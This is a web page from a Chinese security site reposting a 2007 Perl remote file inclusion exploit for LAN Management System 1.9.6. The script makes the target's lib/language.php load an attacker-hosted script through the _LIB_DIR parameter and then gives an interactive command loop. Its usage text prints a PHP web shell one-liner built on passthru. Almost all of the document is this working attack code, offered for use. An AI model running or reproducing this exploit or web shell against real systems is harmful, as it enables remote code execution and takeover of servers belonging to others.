首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LAN Management System (LMS) <= 1.9.6 Remote File Inclusion Exploit
来源:office@rosecuritygroup.net 作者:Kw3rLN 发布时间:2007-06-21  
#!/usr/bin/perl
#
# LMS - LAN Management System 1.9.6 - RFI
#
# Risk : High (Remote Code Execution)
#
# Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz
#
# Exploit:
#   http://site.com/[path]/lib/language.php?_LIB_DIR=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <office[at]rosecuritygroup[dot]net>
#
# Romanian Security Team .: hTTp://RSTZONE.NET :.
#
#
# greetz to all RST [rstzone.net] MEMBERZ, Nemessis, Slick, str0ke, SpiridusuCaddy, zbeng, ENCODED, # Death, Ciupercutza [LUV TEAM] and all i forgot !
#
# Fuckz: GM [h4cky0u] -[bigest nub]

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".        LMS - LAN Management System 1.9.6 - RFI              .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RSTZONE.NET          .\n";
print ".       [c]oded by Kw3rLN - office@rosecuritygroup.net        .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/lib/language.php";


sub usage(){
       print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
       print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
       print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
          }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?_LIB_DIR=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
{ print "Enter your command !\n"; }
else
{ $data=get($kw3); print $data ; }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LiveCMS <= 3.4 (categoria.php
·BitchX 1.1-final (EXEC) Remote
·Jasmine CMS 1.0 SQL Injection/
·HTTP SERVER (httpsv) 1.6.2 (GE
·PHP 5.2.3 Tidy extension Local
·SerWeb 0.9.4 (load_lang.php) R
·Solar Empire <= 2.9.1.1 Blind
·MiniBB 2.0.5 (language) Local
·Apache mod_jk 1.2.19/1.2.20 Re
·BarCode ActiveX Control BarCod
·PHP::HTML 0.6.4 (phphtml.php)
·Pluxml 0.3.1 Remote Code Execu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved